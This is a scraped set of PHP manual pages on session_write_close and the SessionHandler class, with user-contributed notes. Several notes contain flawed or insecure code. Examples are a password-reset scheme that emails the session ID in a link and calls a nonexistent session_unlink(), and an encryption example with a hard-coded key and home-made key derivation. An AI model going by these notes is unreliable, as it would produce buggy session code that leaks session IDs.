    session_regenerate_id(true);
?>
zach at zkwarta dot com 13-Jul-2005 03:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen 15-Jan-2005 01:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.


Write session data and end session

  • ? session_unset
  • SessionHandler ?
  • PHP Manual
  • Session 函数
  • Write session data and end session

session_write_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

session_write_close — Write session data and end session

说明

session_write_close(): bool

End the current session and store session data.

Session data is usually stored after your script terminated without the need to call session_write_close(), but as session data is locked to prevent concurrent writes only one script may operate on a session at any time. When using framesets together with sessions you will experience the frames loading one by one due to this locking. You can reduce the time needed to load all the frames by ending the session as soon as all changes to session variables are done.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.2.0 | The return type of this function is bool now. Formerly, it has been void.

参见

  • The session_register_shutdown() - 关闭会话

User Contributed Notes

atesin > gmail 29-Jul-2020 12:03
i had trouble with 2 concurrent scripts, a login form with a php generated captcha... the latter truncated the session (session file length 0) so the login always failed due token or captcha error... i thought that was a session blocking problem, but was not

  <?php // pseudo code

  @session_start();
  $_SESSION['token'] = $token = random_string();
  session_write_close();

  ?><pseudo html>
  <form>
    <hidden $token/>
    Name : <input name/>
    Pass : <input pass/>
    Captcha <img captcha.php/> : <input captcha/>
    <submit/>
  </form>
  </html>

  <?php // captcha.php pseudo code

  $code = random_string();
  if ( request_valid() )
  {
    @session_start();
    $_SESSION['captcha|'.$HTTP_REFERER] = $code;
    session_write_close();
  }
  $img = text_to_img($code);
  send_img($img);

  ?>

i choose pipeline as separator in line $_SESSION['captcha|'.$HTTP_REFERER] = $code; because being forbidden in urls "<>[\]^`{|}space

but seems pipeline produced serialization errors on session file, so changing to another inocuous character (underscode in my case) solved the problem... try to avoid reserved serialization characters |:{}";
luiscardoso at cardosotech dot com 18-Mar-2018 02:04
When the server receives multiple requests the change made by the 2nd request on the session variable (while the 1st request is sleeping) won't be available to the 1st request after it has applied session_write_close()

<?php

session_start();

// each request sends its own value
$sign = filter_input(INPUT_GET, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

// each request will show a different value, even though $_SESSION['sign'] was changed by the 2nd request before 1st request has reached this line
echo $_SESSION['sign'];

?>

Solution, session_start() before echo

<?php

session_start();
// each request sends its own value
$sign = filter_input(INPUT_POST, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

/** this will solve the problem **/
session_start();

// now both requests show the same value, which is the latest value, changed by the 2nd request
echo $_SESSION['sign'];

// you might apply session_write_close(), if you plan to write more code hereafter

?>
jcastromail at yahoo dot es 17-Dec-2017 12:26
Why this function is highly important?  I explain.

In a nutshell, how session works:
Client side: php is sending back to the client, a cookie with the id of the session. So, the session ends when the server ends to process the script and not when session_write_close() is executed. So, using session_write_close() for fast saving the session in the client side is useless unless you are ob_flush() and flush() to the customer.

Server side: It could be changed but the normal behavior is to save the session information in a file.  For example:

sess_b2dbfc9ddd789d66da84bf57a62e2000  file

**This file is usually locked**, so if two sessions are trying open at the same time, then one is freezed until the file is unlocked. session_write_close() ends the lock.

For example:
<?php
$t1=microtime(true);
session_start();
sleep(3);
session_write_close();
$t2=microtime(true);
echo $t2-$t1;
?>

If we run this code in two processes (using the same session, such as two tabs), then one will return 3 seconds while the other will return 6 seconds.

Its caused because the first process lock the session file.

However, changing to:
<?php
$t1=microtime(true);
session_start();
session_write_close();
sleep(3);
$t2=microtime(true);
echo $t2-$t1;
?>
both files runs at 3 seconds.

For PHP 7.0 and higher, we could use session_start(true); for auto close after the first read.

This operation is highly important for AJAX when we used to do many operations in parallel by using the the same session
twicejr 21-Sep-2017 07:31
You can easily make a cool chatbox without using frames and subdomains in combination with SSE (server side events), using for example a 'while(true){sleep($x)}' loop..

Using session_write_close() prevents the session being locked (because the request 'never' ends (maybe after a minute or two.. but otherwise the page would hang).

So you can make a chatbox without shell access on shared hosting, you just need to make a 'output all clients the new messages' function for the SSE stream and code a few lines of javascript. Read up on SSE.

Obviously need a good caching or fast database with a lot of clients, because everyone will spawn a new stream connection. (in contrast to push mechanisms which will require at least a cron job on shared hosting).

Cheap chatbox.
sascha at archinform dot de 11-Jan-2017 04:00
If You apply session_write_close() to allow concurrent requests from a client (for example simultaneous AJAX calls) this may not resolve the problem, if You have enabled output buffering (default in PHP 7+). You have to set output_buffering = Off in php.ini, otherwise session won't be closed immediately.
atul at jreply dot com 12-Jul-2013 07:45
An easy gotcha here - the $_SESSIONS superglobal does not vanish because you call session_write_close.  If subsequent to the write_close call if you manipulate the superglobal the changes will not be saved when the script exists.  Likewise a call to session_regenrate_id will fail.

Closing the session and then manipulating session variables is not something many would do by intent.  However, if your sessions suddenly start misbehaving, failing to record changes etc it is well worth checking that the cause is not this one!
bernard dot savonet+ at gmail dot com 15-Mar-2012 09:46
Beware of session_write_close when calling PHP scripts from an Ajax page: this does not "finalize" the session data writing, but in fact it resets it!
sss at activators dot info 06-Oct-2011 01:55
i have been using a mysql database custom session handler (not using cookies) and was having problems getting the session data to be saved consistantly on my database driven website

clients also have to navigate across domains for website management at times so i have some special code to make all this happen relatively seamlessly and to ensure that each person's data is secure.

i added session_write_close() at the very end of the last script that set session data and solved the problem.

i am not sure why, but it seems the calls to write and close were not always being made (i was not smart enough to figure it out)

now that the session_write_close() call is being made, my problems seemed to have disappeared - hopefully for good.

hope this helps someone.
joadha at gmail dot com 10-Mar-2011 10:23
Remember: objects with private and/or protected data members cannot be serialized properly by PHP. If you ever find that you are missing some objects from your $_SESSION, make sure you are accounting for this shortcoming in your application.
Anonymous 25-Mar-2010 11:44
You can have interesting fun debugging anything with sleep() in it if you have a session still active.  For example, a page that makes an ajax request, where the ajax request polls a server-side event (and may not return immediately).

If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall.
prophp at gmail dot com 26-Nov-2009 06:21
Beware, if you overwrite the default PHP Session handling and use debugging code inside the write() function, the debugging code is not executed until you run session_write_close().

I tried everything, file logging directly from the write() function, global debugging variable increments, static class properties. The only things written were the session open() and read() calls. My debugging code looks like this:
<?php
$Session = new Session();
...
class Session() {
    public function write($id)
        $sql = "UPDATE ... WHERE id=". mysql_real_escape_string($id);
        self::$debug_Info .= "session_write sql=$sql";
    ...
}

# then at the very end of the script:
# session debugging
session_write_close();
error_log($Session->getDebugInfo(), 3, 'logs/sessions.log');
?>

where getDebugInfo simply returns self::$debug_Info. Without session_write_close() the sessions.log would only contain the open() and read() calls.

Maybe intuitive to many, it took days to realize. hope it helps!
web at murray-mint dot co dot uk 11-Sep-2009 05:36
If you're saving data to a session but finding it's not actually being saved, check and ensure that you're not assigning any arrays with a key containing the pipe character (|). This will prevent the session data from being serialized and saved.
martyrs_cry at hotmail dot com 14-May-2009 01:06
Using a SQL Server database and Windows Server 2003, if you use session_write_close() prior to a header() call, and it still appears to freeze up your session, check to make sure that you are not in the middle of a transaction.

I noticed that by starting a transaction, executing some queries, attempting to write close the session and then redirecting without rolling back or committing that transaction, your session may freeze up. Just like what you may experience if you attempt to redirect with header() without first calling session_write_close().
noel 03-Nov-2008 09:29
I was having the same problem as many here regarding setting session data just before a header location redirect and having the session data just not be there.  I tried everything people here said, and none of their combinations worked.  What did finally work for me was to fire off a session_regenerate_id(true) call just prior to the header() and die() calls.

session_regenerate_id(true);
header('location: blah blah');
die();

Without the regenerate id call, the write close did not seem to do anything.  session_write_close() doesn't seem to matter at all.  It certainly didn't fix anything on its own for me.

This is a rather annoying issue with php sessions that I've never run into before.  I store my sessions to /dev/shm (which is RAM) so file IO blocking can't be the problem.  Now I'm nervous that some other session data might not be getting updated prior to a header() location change, which is extremely important and common in any web app.
ivan at alexandrov dot biz 29-Sep-2008 07:14
I had a problem with realizing the restore password form. First a user entered his login or e-mail in the system.

Then the script searched the database, got the session data, and sended link with SID to registered e-mail. The link was configured so, that it restored session data and logged user in the secure interface to the change password form.

Then was displayed a page with the message about sended message.

The problem was that ID was not unique in three pages, the SID sended to e-mail anyone could see in cookie.

I tryed to start new session before generating and after sending link with the code:

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
$_SESSION = $user_login;
$_SESSION = $user_id;
/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING A NEW SESSION*/
session_start();
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

The trouble was that SID was the same even after session_unlink() and session_write_close(). The session_start() function just restored the previous session data!!! So the script was not safe.
Then I added session_regenerate_id() call after each session_start().

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
session_regenerate_id();//Regenerating SID for sending

$_SESSION = $user_login;
$_SESSION = $user_id;

/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING ANOTHER NEW SESSION*/
session_start();
session_regenerate_id(); //Regenerating SID
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

 And now it works as needed! The SID sending to user we cannot see in cookies nor before neither after generated link, but the data is saved in session with this id. So only the owner of account can get it!
kent openit se 22-Sep-2008 02:49
When trying to use exec on Windows 2003 Server together with WAMP you probably will experience that the server stops to answer your requests.

Through calling session_write_close before -every- exec this will solve your problem.

Hope this will help someone!
yacine at wasabihawaii dot com 06-Aug-2008 02:04
My sessions were screwing up because I had 2 different session IDs going at once:

- 1 PHPSESSID cookie for domain.com
- 1 PHPSESSID cookie for www.domain.com

This fixed it:

//At the beginning of each page...
session_set_cookie_params  (1800,"/","domain.com");
session_start();
burak >>>at 25-Apr-2008 11:32
I had a similar problem with session data.
I lost the session data randomly, without any pattern. I didn't even use the header(location:... ) function.

Tried:
set "session.use_cookies" to 1 in php.ini
session-write-close()
ob_start() / ob_end_flush()

No matter what I did, it didn't worked.

Finally, when I set the "session.use_only_cookies" to 1, problem is solved. I am no longer losing any sessions.
steve at dot-totally dot co dot uk 21-Jul-2007 12:03
For the session problem when using header("Location:..."), I found session_write_close() not to help me on the my IIS server using PHP in CGI mode. The problem was the PHPSESSID cookie was never being set, so I did it the manual way:

header("Set-Cookie: PHPSESSID=" . session_id() . "; path=/");

Worked for me this way!
cottoANTISPAM at ori dot org 14-Mar-2007 11:37
This function is useful for forcing serialization of session data but it can introduce difficult-to-track bugs if it's called more than once per session_start() call.  Since it doesn't have a return value or raise an exception there won't be any indication that the serialization failed and the code will continue normally.  Only when a user visits a page that depends on unsaved session data will there be any indication of the failure.
As far as I can tell this affects both the default and custom session handling functions.

<?
session_start();
$_SESSION['foo'] = 'box';
session_write_close();

if (array_key_exists('visited',$_SESSION) {
    echo "welcome back!\n"; # will never happen
} else {
    echo "I don't know you.\n";
    $_SESSION['visited'] = true;
    session_write_close();
}
?>
tyler at n49 dot com 31-Jan-2007 05:49
Along the same lines as what cenaculo at netcabo dot pt, bkatz at usefulengineering dot com, and editorial at literati dot ca said about making sure you session_write_close(), don't forget to ob_end_flush() if you're using output buffering.

I've been having some weird hanging issues when I tried to navigate away from a page with content streaming in an Iframe or a separate window.

Instead of:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>

Do:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* Make sure data is actually flushed out to the browser */
ob_end_flush();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
risaac at deadletter dot com 04-Apr-2006 12:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com 23-Dec-2005 09:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
    session_write_close();
    require_once('path/to/classes/'.$to_require.'.php');
    session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
bkatz at usefulengineering dot com 16-Jul-2005 08:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca 15-May-2005 01:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan 06-May-2004 09:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
nakanishi at mailstyle dot com 18-Jan-2003 11:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.


The SessionHandler class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

SessionHandler is a special class that can be used to expose the current internal PHP session save handler by inheritance. There are seven methods which wrap the seven internal session save handler callbacks (open, close, read, write, destroy, gc and create_sid). By default, this class will wrap whatever internal save handler is set as defined by the session.save_handler configuration directive which is usually files by default. Other internal session save handlers are provided by PHP extensions such as SQLite (as sqlite), Memcache (as memcache), and Memcached (as memcached).

When a plain instance of SessionHandler is set as the save handler using session_set_save_handler() it will wrap the current save handlers. A class extending from SessionHandler allows you to override the methods or intercept or filter them by calls the parent class methods which ultimately wrap the internal PHP session handlers.

This allows you, for example, to intercept the read and write methods to encrypt/decrypt the session data and then pass the result to and from the parent class. Alternatively one might chose to entirely override a method like the garbage collection callback gc.

Because the SessionHandler wraps the current internal save handler methods, the above example of encryption can be applied to any internal save handler without having to know the internals of the handlers.

To use this class, first set the save handler you wish to expose using session.save_handler and then pass an instance of SessionHandler or one extending it to session_set_save_handler().

Please note that the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code. The return values are equally processed internally by PHP. For more information on the session workflow, please refer to session_set_save_handler().

类摘要

class SessionHandler implements SessionHandlerInterface, SessionIdInterface {
/* 方法 */
public close(): bool
public create_sid(): string
public destroy(string $id): bool
public gc(int $max_lifetime): int|false
public open(string $path, string $name): bool
public read(string $id): string|false
public write(string $id, string $data): bool
}
Warning

This class is designed to expose the current internal PHP session save handler, if you want to write your own custom save handlers, please implement the SessionHandlerInterface interface instead of extending from SessionHandler.

Example #1 Using SessionHandler to add encryption to internal PHP save handlers.

<?php

/**
* decrypt AES 256
*
* @param data $edata
* @param string $password
* @return decrypted data
*/
function decrypt($edata, $password) {
$data = base64_decode($edata);
$salt = substr($data, 0, 16);
$ct = substr($data, 16);

$rounds = 3; // depends on key length
$data00 = $password.$salt;
$hash = array();
$hash[0] = hash('sha256', $data00, true);
$result = $hash[0];
for ($i = 1; $i < $rounds; $i++) {
$hash[$i] = hash('sha256', $hash[$i - 1].$data00, true);
$result .= $hash[$i];
}
$key = substr($result, 0, 32);
$iv = substr($result, 32,16);

return openssl_decrypt($ct, 'AES-256-CBC', $key, true, $iv);
}

/**
* crypt AES 256
*
* @param data $data
* @param string $password
* @return base64 encrypted data
*/
function encrypt($data, $password) {
// Generate a cryptographically secure random salt using random_bytes()
$salt = random_bytes(16);

$salted = '';
$dx = '';
// Salt the key(32) and iv(16) = 48
while (strlen($salted) < 48) {
$dx = hash('sha256', $dx.$password.$salt, true);
$salted .= $dx;
}

$key = substr($salted, 0, 32);
$iv = substr($salted, 32,16);

$encrypted_data = openssl_encrypt($data, 'AES-256-CBC', $key, true, $iv);
return base64_encode($salt . $encrypted_data);
}

class EncryptedSessionHandler extends SessionHandler
{
private $key;

public function __construct($key)
{
$this->key = $key;
}

public function read($id)
{
$data = parent::read($id);

if (!$data) {
return "";
} else {
return decrypt($data, $this->key);
}
}

public function write($id, $data)
{
$data = encrypt($data, $this->key);

return parent::write($id, $data);
}
}

// we'll intercept the native 'files' handler, but will equally work
// with other internal native handlers like 'sqlite', 'memcache' or 'memcached'
// which are provided by PHP extensions.
ini_set('session.save_handler', 'files');

$key = 'secret_string';
$handler = new EncryptedSessionHandler($key);
session_set_save_handler($handler, true);
session_start();

// proceed to set and retrieve values by key from $_SESSION

Note:

Since this class' methods are designed to be called internally by PHP as part of the normal session workflow, child class calls to parent methods (i.e. the actual internal native handlers) will return false unless the session has actually been started (either automatically, or by explicit session_start()). This is important to consider when writing unit tests where the class methods might be invoked manually.

Table of Contents

  • SessionHandler::close — Close the session
  • SessionHandler::create_sid — Return a new session ID
  • SessionHandler::destroy — Destroy a session
  • SessionHandler::gc — Cleanup old sessions
  • SessionHandler::open — Initialize session
  • SessionHandler::read — Read session data
  • SessionHandler::write — Write session data

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 03-Feb-2023 07:57
Those who are planning to implement your own SessionHandler, let's say using a Database system, please make sure your 'create_sid' method creates a new record in your database with empty string '' as your 'data' using the new session ID created, otherwise when 'read' method is called (which is always called no matter if it is a brand new session or not), you will get an error because there is no record with that session ID yet.  The funny part is that the error you get will sound like PHP is trying open the session on your local drive (coming from your .ini file).
tuncdan dot ozdemir dot peng at gmail dot com 02-Feb-2023 10:06
The best way to set up your own session handler is to extend the native SessionHandler (override the 7 methods + constructor as per your need, keeping the same signatures).  Optionally, you can also implement SessionUpdateTimestampHandlerInterface if you plan to use 'lazy_write':

Option 1:

class MyOwnSessionHandler extends \SessionHandler { ..... }

Option 2:

class MyOwnSessionHandler extends \SessionHandler implements \SessionUpdateTimestampHandlerInterface { ..... }

I would NOT recommend to do this:

class MyOwnSessionHandler implements \SessionHandlerInterface, \SessionIdInterface, \SessionUpdateTimestampHandlerInterface { ... }

If you are curious, here are the methods called in the order (using PHP 8.2 with XAMPP v3.3.0 on Windows 11 64-bit):

- open (always called)

- validateId and/or create_sid:

    validateId is called if you implement SessionUpdateTimestampHandlerInterface.  If validation fails, create_sid is called.

    create_sid is called if a new session ID is needed: new session, etc.

- read (always called)

- write OR updateTimestamp OR destroy:

    if you call 'destroy', neither 'write' or 'updateTimestamp' is called,

    if you have the 'lazy_write' on AND implemented SessionUpdateTimestampHandlerInterface,
    then 'updateTimestamp' is called instead of 'write' if nothing changes.

- close (always called)
saccani dot francesco dot NOSPAM at gmail dot com 15-Mar-2020 08:07
I made this gist to provide a complete overview of the PHP session handler life cycle updated to version 7.0 or above. In particular, I wanted to emphasize what methods and in what order are called when the native PHP functions are used for session management.

https://gist.github.com/franksacco/d6e943c41189f8ee306c182bf8f07654

I hope this analysis will help all the developers interested in understanding in detail the native session management performed by PHP and what a custom session handler should do.
Any comment or suggestion is appreciated.
wei dot kavin at gmail dot com 29-May-2019 07:38
php -S localhost:8000 -t foo/

touch index.php

vi index.php
============================================================
class NativeSessionHandler extends \SessionHandler
{
    public function __construct($savePath = null)
    {
        if (null === $savePath) {
            $savePath = ini_get('session.save_path');
        }

        $baseDir = $savePath;

        if ($count = substr_count($savePath, ';')) {
            if ($count > 2) {
                throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'', $savePath));
            }

            // characters after last ';' are the path
            $baseDir = ltrim(strrchr($savePath, ';'), ';');
        }

        if ($baseDir && !is_dir($baseDir) && !@mkdir($baseDir, 0777, true) && !is_dir($baseDir)) {
            throw new \RuntimeException(sprintf('Session Storage was not able to create directory "%s"', $baseDir));
        }

        ini_set('session.save_path', $savePath);
        ini_set('session.save_handler', 'files');
    }
}

$handler = new NativeSessionHandler("/var/www/foo");
session_set_save_handler($handler, true);
session_start();
$a = $handler->write("aaa","bbbb");var_dump($a);exit;

============================================================

output：bool(false)
tony at marston-home dot demon dot co dot uk 12-Jun-2018 07:55
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
jeremie dot legrand at komori-chambon dot fr 09-Mar-2016 09:22
Here is a wrapper to log in a file each session's operations. Useful to investigate sessions locks (which prevent PHP to serve simultaneous requests for a same client).
Just change the file name at the end to dump logs where you want.

class DumpSessionHandler extends SessionHandler {
    private $fich;

    public function __construct($fich) {
        $this->fich = $fich;
    }

    public function close() {
        $this->log('close');
        return parent::close();
    }

    public function create_sid() {
        $this->log('create_sid');
        return parent::create_sid();
    }

    public function destroy($session_id) {
        $this->log('destroy('.$session_id.')');
        return parent::destroy($session_id);
    }

    public function gc($maxlifetime) {
        $this->log('close('.$maxlifetime.')');
        return parent::gc($maxlifetime);
    }

    public function open($save_path, $session_name) {
        $this->log('open('.$save_path.', '.$session_name.')');
        return parent::open($save_path, $session_name);
    }

    public function read($session_id) {
        $this->log('read('.$session_id.')');
        return parent::read($session_id);
    }

    public function write($session_id, $session_data) {
        $this->log('write('.$session_id.', '.$session_data.')');
        return parent::write($session_id, $session_data);
    }

    private function log($action) {
        $base_uri = explode('?', $_SERVER['REQUEST_URI'], 2)[0];
        $hdl = fopen($this->fich, 'a');
        fwrite($hdl, date('Y-m-d h:i:s').' '.$base_uri.' : '.$action."\n");
        fclose($hdl);
    }
}
ini_set('session.save_handler', 'files');
$handler = new DumpSessionHandler('/path/to/dump_sessions.log');
session_set_save_handler($handler, true);
rasmus at mindplay dot dk 03-Aug-2015 09:08
As the life-cycle of a session handler is fairly complex, I found it difficult to understand when explained using just words - so I traced the function calls made to a custom SessionHandler, and created this overview of precisely what happens when you call various session methods:

https://gist.github.com/mindplay-dk/623bdd50c1b4c0553cd3

I hope this makes it considerably easier to implement a custom SessionHandler and get it right the first time :-)


Close the session

  • ? SessionHandler
  • SessionHandler::create_sid ?
  • PHP Manual
  • SessionHandler
  • Close the session

SessionHandler::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::close — Close the session

说明

public SessionHandler::close(): bool

Closes the current session. This method is automatically executed internally by PHP when closing the session, or explicitly via session_write_close() (which first calls the SessionHandler::write()).

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was activated by session_set_save_handler().

If this class is extended by inheritance, calling the parent close method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows the method to be overridden and or intercepted.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::close().

参数

此函数没有参数。

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

User Contributed Notes

There are no user contributed notes for this page.


Return a new session ID

  • ? SessionHandler::close
  • SessionHandler::destroy ?
  • PHP Manual
  • SessionHandler
  • Return a new session ID

SessionHandler::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionHandler::create_sid — Return a new session ID

说明

public SessionHandler::create_sid(): string

Generates and returns a new session ID.

参数

此函数没有参数。

返回值

A session ID valid for the default session handler.

参见

  • session_id() - 获取/设置当前会话 ID
  • session_create_id() - Create new session id

User Contributed Notes

There are no user contributed notes for this page.


Destroy a session

  • ? SessionHandler::create_sid
  • SessionHandler::gc ?
  • PHP Manual
  • SessionHandler
  • Destroy a session

SessionHandler::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::destroy — Destroy a session

说明

public SessionHandler::destroy(string $id): bool

Destroys a session. Called internally by PHP with session_regenerate_id() (assuming the $destroy is set to true, by session_destroy() or when session_decode() fails.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritance, calling the parent destroy method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows this method to be overridden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::destroy().

参数

id

The session ID being destroyed.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

User Contributed Notes

There are no user contributed notes for this page.


Cleanup old sessions

  • ? SessionHandler::destroy
  • SessionHandler::open ?
  • PHP Manual
  • SessionHandler
  • Cleanup old sessions

SessionHandler::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::gc — Cleanup old sessions

说明

public SessionHandler::gc(int $max_lifetime): int|false

Cleans up expired sessions. Called randomly by PHP internally when a session starts or when session_start() is invoked. The frequency this is called is based on the session.gc_divisor and session.gc_probability configuration directives.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritance, calling the parent gc method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows this method to be overridden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::gc().

参数

max_lifetime

Sessions that have not updated for the last max_lifetime seconds will be removed.

返回值

Returns the number of deleted sessions on success, 或者在失败时返回 false. Note this value is returned internally to PHP for processing.

更新日志

版本 | 说明
7.1.0 | Prior to this version, the function returned true on success.

User Contributed Notes

There are no user contributed notes for this page.


Initialize session

  • ? SessionHandler::gc
  • SessionHandler::read ?
  • PHP Manual
  • SessionHandler
  • Initialize session

SessionHandler::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::open — Initialize session

说明

public SessionHandler::open(string $path, string $name): bool

Create new session, or re-initialize existing session. Called internally by PHP when a session starts either automatically or when session_start() is invoked.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritance, calling the parent open method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows this method to be overridden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::open().

参数

path

The path where to store/retrieve the session.

name

The session name.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

参见

  • The session.auto-start configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


Read session data

  • ? SessionHandler::open
  • SessionHandler::write ?
  • PHP Manual
  • SessionHandler
  • Read session data

SessionHandler::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::read — Read session data

说明

public SessionHandler::read(string $id): string|false

Reads the session data from the session storage, and returns the result back to PHP for internal processing. This method is called automatically by PHP when a session is started (either automatically or explicitly with session_start() and is preceded by an internal call to the SessionHandler::open().

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritance, calling the parent read method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows the method to be overridden and or intercepted and filtered (for example, decrypting the $data value returned by the parent read method).

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::read().

参数

id

The session id to read data for.

返回值

Returns an encoded string of the read data. If nothing was read, it must return false. Note this value is returned internally to PHP for processing.

参见

  • The session.serialize_handler configuration directive.

User Contributed Notes

andrey at puhovsky dot com 05-Dec-2022 10:04
Please note that you have to return false only for PHP 8+.

For the older versions you have to return an empty string, otherwise you will get an error 'Warning: session_start(): Failed to read session data: user (path: 127.0.0.1:9999)'


Write session data

  • ? SessionHandler::read
  • SessionHandlerInterface ?
  • PHP Manual
  • SessionHandler
  • Write session data

SessionHandler::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandler::write — Write session data

说明

public SessionHandler::write(string $id, string $data): bool

